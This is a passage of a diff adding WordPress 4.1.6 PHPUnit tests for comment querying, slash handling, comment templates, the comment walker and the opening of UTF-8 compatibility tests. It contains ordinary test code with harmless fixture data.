+		$this->factory->comment->create( array( 'user_id' => $users[1], 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+
+		$comments = get_comments( array(
+			'user_id' => $users[0],
+			'orderby' => 'comment_ID',
+			'order' => 'ASC',
+		) );
+
+		$this->assertCount( 2, $comments );
+		$this->assertEquals( $users[0], $comments[0]->user_id );
+		$this->assertEquals( $users[0], $comments[1]->user_id );
+
+		$comments = get_comments( array(
+			'user_id' => $users,
+			'orderby' => 'comment_ID',
+			'order' => 'ASC',
+		) );
+
+		$this->assertCount( 3, $comments );
+		$this->assertEquals( $users[0], $comments[0]->user_id );
+		$this->assertEquals( $users[0], $comments[1]->user_id );
+		$this->assertEquals( $users[1], $comments[2]->user_id );
+
+	}
+
+	/**
+	 * @ticket 28434
+	 */
+	function test_fields_ids_query() {
+		$comment_1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 7, 'comment_approved' => '1' ) );
+		$comment_2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$comment_3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 1, 'comment_approved' => '1' ) );
+
+		// Ensure we are dealing with integers, and not objects.
+		$this->assertInternalType( 'integer', $comment_1 );
+		$this->assertInternalType( 'integer', $comment_2 );
+		$this->assertInternalType( 'integer', $comment_3 );
+
+		$comment_ids = get_comments( array( 'fields' => 'ids' ) );
+		$this->assertCount( 3, $comment_ids );
+		$this->assertEqualSets( array( $comment_1, $comment_2, $comment_3 ), $comment_ids );
+	}
+
+	/**
+	 * @ticket 29189
+	 */
+	function test_fields_comment__in() {
+		$comment_1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 7, 'comment_approved' => '1' ) );
+		$comment_2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$comment_3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 1, 'comment_approved' => '1' ) );
+
+		$comment_ids = get_comments( array(
+			'fields' => 'ids',
+			'comment__in' => array( $comment_1, $comment_3 ),
+		) );
+
+		$this->assertEqualSets( array( $comment_1, $comment_3 ), $comment_ids );
+	}
+
+	/**
+	 * @ticket 29189
+	 */
+	function test_fields_comment__not_in() {
+		$comment_1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 7, 'comment_approved' => '1' ) );
+		$comment_2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$comment_3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 1, 'comment_approved' => '1' ) );
+
+		$comment_ids = get_comments( array(
+			'fields' => 'ids',
+			'comment__not_in' => array( $comment_2, $comment_3 ),
+		) );
+
+		$this->assertEqualSets( array( $comment_1 ), $comment_ids );
+	}
+
+	/**
+	 * @ticket 29189
+	 */
+	function test_fields_post__in() {
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $p1, 'user_id' => 7, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $p2, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $p3, 'user_id' => 1, 'comment_approved' => '1' ) );
+
+		$comment_ids = get_comments( array(
+			'fields' => 'ids',
+			'post__in' => array( $p1, $p2 ),
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2 ), $comment_ids );
+	}
+
+	/**
+	 * @ticket 29189
+	 */
+	function test_fields_post__not_in() {
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $p1, 'user_id' => 7, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $p2, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $p3, 'user_id' => 1, 'comment_approved' => '1' ) );
+
+		$comment_ids = get_comments( array(
+			'fields' => 'ids',
+			'post__not_in' => array( $p1, $p2 ),
+		) );
+
+		$this->assertEqualSets( array( $c3 ), $comment_ids );
+	}
+
+	/**
+	 * @ticket 29885
+	 */
+	function test_fields_post_author__in() {
+		$author_id1 = 105;
+		$author_id2 = 106;
+
+		$p1 = $this->factory->post->create( array( 'post_author' => $author_id1	) );
+		$p2 = $this->factory->post->create( array( 'post_author' => $author_id1	) );
+		$p3 = $this->factory->post->create( array( 'post_author' => $author_id2	) );
+
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $p1, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $p2, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $p3, 'user_id' => 1, 'comment_approved' => '1' ) );
+
+		$comment_ids = get_comments( array(
+			'fields' => 'ids',
+			'post_author__in' => array( $author_id1 ),
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2 ), $comment_ids );
+	}
+
+	/**
+	 * @ticket 29885
+	 */
+	function test_fields_post_author__not_in() {
+		$author_id1 = 111;
+		$author_id2 = 112;
+
+		$p1 = $this->factory->post->create( array( 'post_author' => $author_id1	) );
+		$p2 = $this->factory->post->create( array( 'post_author' => $author_id1	) );
+		$p3 = $this->factory->post->create( array( 'post_author' => $author_id2	) );
+
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $p1, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $p2, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $p3, 'user_id' => 1, 'comment_approved' => '1' ) );
+
+		$comment_ids = get_comments( array(
+			'fields' => 'ids',
+			'post_author__not_in' => array( $author_id1 ),
+		) );
+
+		$this->assertEqualSets( array( $c3 ), $comment_ids );
+	}
+
+        /**
+         * @ticket 29885
+         */
+	function test_fields_author__in() {
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+		$p4 = $this->factory->post->create();
+
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $p1, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $p1, 'user_id' => 2, 'comment_approved' => '1' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $p2, 'user_id' => 3, 'comment_approved' => '1' ) );
+		$c4 = $this->factory->comment->create( array( 'comment_post_ID' => $p4, 'user_id' => 4, 'comment_approved' => '1' ) );
+
+		$comment_ids = get_comments( array(
+			'fields' => 'ids',
+			'author__in' => array( 1, 3 ),
+		) );
+
+		$this->assertEqualSets( array( $c1, $c3 ), $comment_ids );
+	}
+
+        /**
+         * @ticket 29885
+         */
+	function test_fields_author__not_in() {
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+		$p4 = $this->factory->post->create();
+
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $p1, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $p1, 'user_id' => 2, 'comment_approved' => '1' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $p2, 'user_id' => 3, 'comment_approved' => '1' ) );
+		$c4 = $this->factory->comment->create( array( 'comment_post_ID' => $p4, 'user_id' => 4, 'comment_approved' => '1' ) );
+
+		$comment_ids = get_comments( array(
+			'fields' => 'ids',
+			'author__not_in' => array( 1, 2 ),
+		) );
+
+		$this->assertEqualSets( array( $c3, $c4 ), $comment_ids );
+	}
+
+	/**
+	 * @ticket 19623
+	 */
+	public function test_get_comments_with_status_all() {
+		$comment_1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 7, 'comment_approved' => '1' ) );
+		$comment_2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$comment_3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 1, 'comment_approved' => '0' ) );
+		$comments_approved_1 = get_comments( array( 'status' => 'all' ) );
+
+		$comment_ids = get_comments( array( 'fields' => 'ids' ) );
+		$this->assertEqualSets( array( $comment_1, $comment_2, $comment_3 ), $comment_ids );
+	}
+
+	/**
+	 * @ticket 19623
+	 */
+	public function test_get_comments_with_include_unapproved_user_id() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 7, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 1, 'comment_approved' => '0' ) );
+		$c4 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 6, 'comment_approved' => '0' ) );
+
+		$found = get_comments( array(
+			'fields' => 'ids',
+			'include_unapproved' => 1,
+			'status' => 'approve',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3 ), $found );
+	}
+
+	/**
+	 * @ticket 19623
+	 */
+	public function test_get_comments_with_include_unapproved_user_id_array() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 7, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 1, 'comment_approved' => '0' ) );
+		$c4 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 6, 'comment_approved' => '0' ) );
+		$c5 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 8, 'comment_approved' => '0' ) );
+
+		$found = get_comments( array(
+			'fields' => 'ids',
+			'include_unapproved' => array( 1, 8 ),
+			'status' => 'approve',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3, $c5 ), $found );
+	}
+
+	/**
+	 * @ticket 19623
+	 */
+	public function test_get_comments_with_include_unapproved_user_id_comma_separated() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 7, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 1, 'comment_approved' => '0' ) );
+		$c4 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 6, 'comment_approved' => '0' ) );
+		$c5 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 8, 'comment_approved' => '0' ) );
+
+		$found = get_comments( array(
+			'fields' => 'ids',
+			'include_unapproved' => '1,8',
+			'status' => 'approve',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3, $c5 ), $found );
+	}
+
+	/**
+	 * @ticket 19623
+	 */
+	public function test_get_comments_with_include_unapproved_author_email() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 7, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 0, 'comment_approved' => '1', 'comment_author' => 'foo', 'comment_author_email' => 'foo@example.com' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 0, 'comment_approved' => '0', 'comment_author' => 'foo', 'comment_author_email' => 'foo@example.com' ) );
+		$c4 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 0, 'comment_approved' => '0', 'comment_author' => 'foo', 'comment_author_email' => 'bar@example.com' ) );
+
+		$found = get_comments( array(
+			'fields' => 'ids',
+			'include_unapproved' => 'foo@example.com',
+			'status' => 'approve',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3 ), $found );
+	}
+
+	/**
+	 * @ticket 19623
+	 */
+	public function test_get_comments_with_include_unapproved_mixed_array() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 7, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 0, 'comment_approved' => '1', 'comment_author' => 'foo', 'comment_author_email' => 'foo@example.com' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 0, 'comment_approved' => '0', 'comment_author' => 'foo', 'comment_author_email' => 'foo@example.com' ) );
+		$c4 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 0, 'comment_approved' => '0', 'comment_author' => 'foo', 'comment_author_email' => 'bar@example.com' ) );
+		$c5 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 4, 'comment_approved' => '0', 'comment_author' => 'foo', 'comment_author_email' => 'bar@example.com' ) );
+
+		$found = get_comments( array(
+			'fields' => 'ids',
+			'include_unapproved' => array( 'foo@example.com', 4 ),
+			'status' => 'approve',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3, $c5 ), $found );
+	}
+
+	/**
+	 * @ticket 19623
+	 */
+	public function test_get_comments_with_include_unapproved_mixed_comma_separated() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 7, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 0, 'comment_approved' => '1', 'comment_author' => 'foo', 'comment_author_email' => 'foo@example.com' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 0, 'comment_approved' => '0', 'comment_author' => 'foo', 'comment_author_email' => 'foo@example.com' ) );
+		$c4 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 0, 'comment_approved' => '0', 'comment_author' => 'foo', 'comment_author_email' => 'bar@example.com' ) );
+		$c5 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 4, 'comment_approved' => '0', 'comment_author' => 'foo', 'comment_author_email' => 'bar@example.com' ) );
+
+		$found = get_comments( array(
+			'fields' => 'ids',
+			'include_unapproved' => 'foo@example.com, 4',
+			'status' => 'approve',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3, $c5 ), $found );
+	}
+
+	public function test_search() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 4, 'comment_approved' => '0', 'comment_author' => 'foo', 'comment_author_email' => 'bar@example.com' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 4, 'comment_approved' => '0', 'comment_author' => 'bar', 'comment_author_email' => 'foo@example.com' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 4, 'comment_approved' => '0', 'comment_author' => 'bar', 'comment_author_email' => 'bar@example.com', 'comment_author_url' => 'http://foo.bar' ) );
+		$c4 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 4, 'comment_approved' => '0', 'comment_author' => 'bar', 'comment_author_email' => 'bar@example.com', 'comment_author_url' => 'http://example.com', 'comment_author_IP' => 'foo.bar' ) );
+		$c5 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 4, 'comment_approved' => '0', 'comment_author' => 'bar', 'comment_author_email' => 'bar@example.com', 'comment_author_url' => 'http://example.com', 'comment_content' => 'Nice foo comment' ) );
+		$c6 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 4, 'comment_approved' => '0', 'comment_author' => 'bar', 'comment_author_email' => 'bar@example.com', 'comment_author_url' => 'http://example.com' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'search' => 'foo',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3, $c4, $c5 ), $found );
+	}
+
+	public function test_orderby_default() {
+		$q = new WP_Comment_Query();
+		$q->query( array() );
+
+		$this->assertContains( 'ORDER BY comment_date_gmt', $q->request );
+	}
+
+	public function test_orderby_single() {
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'orderby' => 'comment_agent',
+		) );
+
+		$this->assertContains( 'ORDER BY comment_agent', $q->request );
+	}
+
+	public function test_orderby_single_invalid() {
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'orderby' => 'foo',
+		) );
+
+		$this->assertContains( 'ORDER BY comment_date_gmt', $q->request );
+	}
+
+	public function test_orderby_comma_separated() {
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'orderby' => 'comment_agent, comment_approved',
+		) );
+
+		$this->assertContains( 'ORDER BY comment_agent, comment_approved', $q->request );
+	}
+
+	public function test_orderby_array() {
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'orderby' => array( 'comment_agent', 'comment_approved' ),
+		) );
+
+		$this->assertContains( 'ORDER BY comment_agent, comment_approved', $q->request );
+	}
+
+	public function test_orderby_array_contains_invalid_item() {
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'orderby' => array( 'comment_agent', 'foo', 'comment_approved' ),
+		) );
+
+		$this->assertContains( 'ORDER BY comment_agent, comment_approved', $q->request );
+	}
+
+	public function test_orderby_array_contains_all_invalid_items() {
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'orderby' => array( 'foo', 'bar', 'baz' ),
+		) );
+
+		$this->assertContains( 'ORDER BY comment_date_gmt', $q->request );
+	}
+
+	/**
+	 * @ticket 29902
+	 */
+	public function test_orderby_none() {
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'orderby' => 'none',
+		) );
+
+		$this->assertNotContains( 'ORDER BY', $q->request );
+	}
+
+	/**
+	 * @ticket 29902
+	 */
+	public function test_orderby_empty_array() {
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'orderby' => array(),
+		) );
+
+		$this->assertNotContains( 'ORDER BY', $q->request );
+	}
+
+	/**
+	 * @ticket 29902
+	 */
+	public function test_orderby_false() {
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'orderby' => false,
+		) );
+
+		$this->assertNotContains( 'ORDER BY', $q->request );
+	}
+
+	public function test_count() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 7 ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 7 ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'count' => true,
+		) );
+
+		$this->assertEquals( 2, $found );
+	}
+
+	/**
+	 * @ticket 23369
+	 */
+	public function test_count_with_meta_query() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 7 ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 7 ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'user_id' => 7 ) );
+		add_comment_meta( $c1, 'foo', 'bar' );
+		add_comment_meta( $c3, 'foo', 'bar' );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'count' => true,
+			'meta_query' => array(
+				array(
+					'key' => 'foo',
+					'value' => 'bar',
+				),
+			),
+		) );
+
+		$this->assertEquals( 2, $found );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/comment/slashes.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/comment/slashes.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/comment/slashes.php	(revision 33402)
@@ -0,0 +1,176 @@
+<?php
+
+/**
+ * @group comment
+ * @group slashes
+ * @ticket 21767
+ */
+class Tests_Comment_Slashes extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+		// we need an admin user to bypass comment flood protection
+		$this->author_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+		$this->old_current_user = get_current_user_id();
+		wp_set_current_user( $this->author_id );
+
+		// it is important to test with both even and odd numbered slashes as
+		// kses does a strip-then-add slashes in some of it's function calls
+		$this->slash_1 = 'String with 1 slash \\';
+		$this->slash_2 = 'String with 2 slashes \\\\';
+		$this->slash_3 = 'String with 3 slashes \\\\\\';
+		$this->slash_4 = 'String with 4 slashes \\\\\\\\';
+		$this->slash_5 = 'String with 5 slashes \\\\\\\\\\';
+		$this->slash_6 = 'String with 6 slashes \\\\\\\\\\\\';
+		$this->slash_7 = 'String with 7 slashes \\\\\\\\\\\\\\';
+
+		$_SERVER['REMOTE_ADDR'] = null;
+	}
+
+	function tearDown() {
+		wp_set_current_user( $this->old_current_user );
+		parent::tearDown();
+	}
+
+	/**
+	 * Tests the extended model function that expects slashed data
+	 *
+	 */
+	function test_wp_new_comment() {
+		$post_id = $this->factory->post->create();
+
+		// not testing comment_author_email or comment_author_url
+		// as slashes are not permitted in that data
+		$data = array(
+			'comment_post_ID' => $post_id,
+			'comment_author' => $this->slash_1,
+			'comment_author_url' => '',
+			'comment_author_email' => '',
+			'comment_type' => '',
+			'comment_content' => $this->slash_7,
+		);
+		$id = wp_new_comment( $data );
+
+		$comment = get_comment($id);
+
+		$this->assertEquals( wp_unslash( $this->slash_1 ), $comment->comment_author );
+		$this->assertEquals( wp_unslash( $this->slash_7 ), $comment->comment_content );
+
+		$data = array(
+			'comment_post_ID' => $post_id,
+			'comment_author' => $this->slash_2,
+			'comment_author_url' => '',
+			'comment_author_email' => '',
+			'comment_type' => '',
+			'comment_content' => $this->slash_4,
+		);
+		$id = wp_new_comment( $data );
+
+		$comment = get_comment($id);
+
+		$this->assertEquals( wp_unslash( $this->slash_2 ), $comment->comment_author );
+		$this->assertEquals( wp_unslash( $this->slash_4 ), $comment->comment_content );
+	}
+
+	/**
+	 * Tests the controller function that expects slashed data
+	 *
+	 */
+	function test_edit_comment() {
+		$post_id = $this->factory->post->create();
+		$comment_id = $this->factory->comment->create(array(
+			'comment_post_ID' => $post_id
+		));
+
+		// not testing comment_author_email or comment_author_url
+		// as slashes are not permitted in that data
+		$_POST = array();
+		$_POST['comment_ID'] = $comment_id;
+		$_POST['comment_status'] = '';
+		$_POST['newcomment_author'] = $this->slash_1;
+		$_POST['newcomment_author_url'] = '';
+		$_POST['newcomment_author_email'] = '';
+		$_POST['content'] = $this->slash_7;
+		$_POST = add_magic_quotes( $_POST );
+
+		edit_comment();
+		$comment = get_comment( $comment_id );
+
+		$this->assertEquals( $this->slash_1, $comment->comment_author );
+		$this->assertEquals( $this->slash_7, $comment->comment_content );
+
+		$_POST = array();
+		$_POST['comment_ID'] = $comment_id;
+		$_POST['comment_status'] = '';
+		$_POST['newcomment_author'] = $this->slash_2;
+		$_POST['newcomment_author_url'] = '';
+		$_POST['newcomment_author_email'] = '';
+		$_POST['content'] = $this->slash_4;
+		$_POST = add_magic_quotes( $_POST );
+
+		edit_comment();
+		$comment = get_comment( $comment_id );
+
+		$this->assertEquals( $this->slash_2, $comment->comment_author );
+		$this->assertEquals( $this->slash_4, $comment->comment_content );
+	}
+
+	/**
+	 * Tests the model function that expects slashed data
+	 *
+	 */
+	function test_wp_insert_comment() {
+		$post_id = $this->factory->post->create();
+
+		$comment_id = wp_insert_comment(array(
+			'comment_post_ID' => $post_id,
+			'comment_author' => $this->slash_1,
+			'comment_content' => $this->slash_7,
+		));
+		$comment = get_comment( $comment_id );
+
+		$this->assertEquals( wp_unslash( $this->slash_1 ), $comment->comment_author );
+		$this->assertEquals( wp_unslash( $this->slash_7 ), $comment->comment_content );
+
+		$comment_id = wp_insert_comment(array(
+			'comment_post_ID' => $post_id,
+			'comment_author' => $this->slash_2,
+			'comment_content' => $this->slash_4,
+		));
+		$comment = get_comment( $comment_id );
+
+		$this->assertEquals( wp_unslash( $this->slash_2 ), $comment->comment_author );
+		$this->assertEquals( wp_unslash( $this->slash_4 ), $comment->comment_content );
+	}
+
+	/**
+	 * Tests the model function that expects slashed data
+	 *
+	 */
+	function test_wp_update_comment() {
+		$post_id = $this->factory->post->create();
+		$comment_id = $this->factory->comment->create(array(
+			'comment_post_ID' => $post_id
+		));
+
+		wp_update_comment(array(
+			'comment_ID' => $comment_id,
+			'comment_author' => $this->slash_1,
+			'comment_content' => $this->slash_7,
+		));
+		$comment = get_comment( $comment_id );
+
+		$this->assertEquals( wp_unslash( $this->slash_1 ), $comment->comment_author );
+		$this->assertEquals( wp_unslash( $this->slash_7 ), $comment->comment_content );
+
+		wp_update_comment(array(
+			'comment_ID' => $comment_id,
+			'comment_author' => $this->slash_2,
+			'comment_content' => $this->slash_4,
+		));
+		$comment = get_comment( $comment_id );
+
+		$this->assertEquals( wp_unslash( $this->slash_2 ), $comment->comment_author );
+		$this->assertEquals( wp_unslash( $this->slash_4 ), $comment->comment_content );
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/comment/template.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/comment/template.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/comment/template.php	(revision 33402)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * @group comment
+ */
+class Tests_Comment_Template extends WP_UnitTestCase {
+
+	function test_get_comments_number() {
+		$post_id = $this->factory->post->create();
+
+		$this->assertEquals( 0, get_comments_number( 0 ) );
+		$this->assertEquals( 0, get_comments_number( $post_id ) );
+		$this->assertEquals( 0, get_comments_number( get_post( $post_id ) ) );
+
+		$this->factory->comment->create_post_comments( $post_id, 12 );
+
+		$this->assertEquals( 12, get_comments_number( $post_id ) );
+		$this->assertEquals( 12, get_comments_number( get_post( $post_id ) ) );
+	}
+
+	function test_get_comments_number_without_arg() {
+		$post_id = $this->factory->post->create();
+		$permalink = get_permalink( $post_id );
+		$this->go_to( $permalink );
+
+		$this->assertEquals( 0, get_comments_number() );
+
+		$this->factory->comment->create_post_comments( $post_id, 12 );
+		$this->go_to( $permalink );
+
+		$this->assertEquals( 12, get_comments_number() );
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/comment/walker.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/comment/walker.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/comment/walker.php	(revision 33402)
@@ -0,0 +1,48 @@
+<?php
+
+/**
+ * @group comment
+ */
+class Tests_Comment_Walker extends WP_UnitTestCase {
+
+	function setUp() {
+		parent::setUp();
+
+		$this->post_id = $this->factory->post->create();
+	}
+
+	/**
+	 * @ticket 14041
+	 */
+	function test_has_children() {
+		$comment_parent = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id ) );
+		$comment_child  = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_parent' => $comment_parent ) );
+		$comment_parent = get_comment( $comment_parent );
+		$comment_child  = get_comment( $comment_child  );
+
+		$comment_walker   = new Walker_Comment();
+		$comment_callback = new Comment_Callback_Test( $this, $comment_walker );
+
+		wp_list_comments( array( 'callback' => array( $comment_callback, 'comment' ), 'walker' => $comment_walker, 'echo' => false ), array( $comment_parent, $comment_child ) );
+		wp_list_comments( array( 'callback' => array( $comment_callback, 'comment' ), 'walker' => $comment_walker, 'echo' => false ), array( $comment_child, $comment_parent ) );
+	}
+}
+
+class Comment_Callback_Test {
+	public function __construct( Tests_Comment_Walker $test_walker, Walker_Comment $walker ) {
+		$this->test_walker = $test_walker;
+		$this->walker      = $walker;
+	}
+
+	public function comment( $comment, $args, $depth ) {
+		if ( 1 == $depth ) {
+			$this->test_walker->assertTrue( $this->walker->has_children );
+			$this->test_walker->assertTrue( $args['has_children']       ); // Back compat
+		}
+
+		else if ( 2 == $depth ) {
+			$this->test_walker->assertFalse( $this->walker->has_children );
+			$this->test_walker->assertFalse( $args['has_children']       ); // Back compat
+		}
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/compat.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/compat.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/compat.php	(revision 33402)
@@ -0,0 +1,196 @@
+<?php
+
+/**
+ * @group compat
+ * @group security-153
+ */
+class Tests_Compat extends WP_UnitTestCase {
+	function utf8_string_lengths() {
+		return array(
+			//                     string, character_length, byte_length
+			array(                 'баба',                4,           8 ),
+			array(                  'баб',                3,           6 ),
+			array(          'I am your б',               11,          12 ),
+			array(           '1111111111',               10,          10 ),
+			array(           '²²²²²²²²²²',               10,          20 ),
+			array( '３３３３３３３３３３',               10,          30 ),
+			array(           '𝟜𝟜𝟜𝟜𝟜𝟜𝟜𝟜𝟜𝟜',               10,          40 ),
+			array(      '1²３𝟜1²３𝟜1²３𝟜',               12,          30 ),
+		);
+	}
+
+	function utf8_substrings() {
+		return array(
+			//               string, start, length, character_substring,   byte_substring
+			array(           'баба',     0,      3,               'баб',          "б\xD0" ),
+			array(           'баба',     0,     -1,               'баб',        "баб\xD0" ),
+			array(           'баба',     1,   null,               'аба',        "\xB1аба" ),
+			array(           'баба',    -3,   null,               'аба',          "\xB1а" ),
+			array(           'баба',    -3,      2,                'аб',       "\xB1\xD0" ),
+			array(           'баба',    -1,      2,                 'а',           "\xB0" ),
+			array( 'I am your баба',     0,     11,       'I am your б', "I am your \xD0" ),
+		);
+	}
+
+	/**
+	 * @dataProvider utf8_string_lengths
+	 */
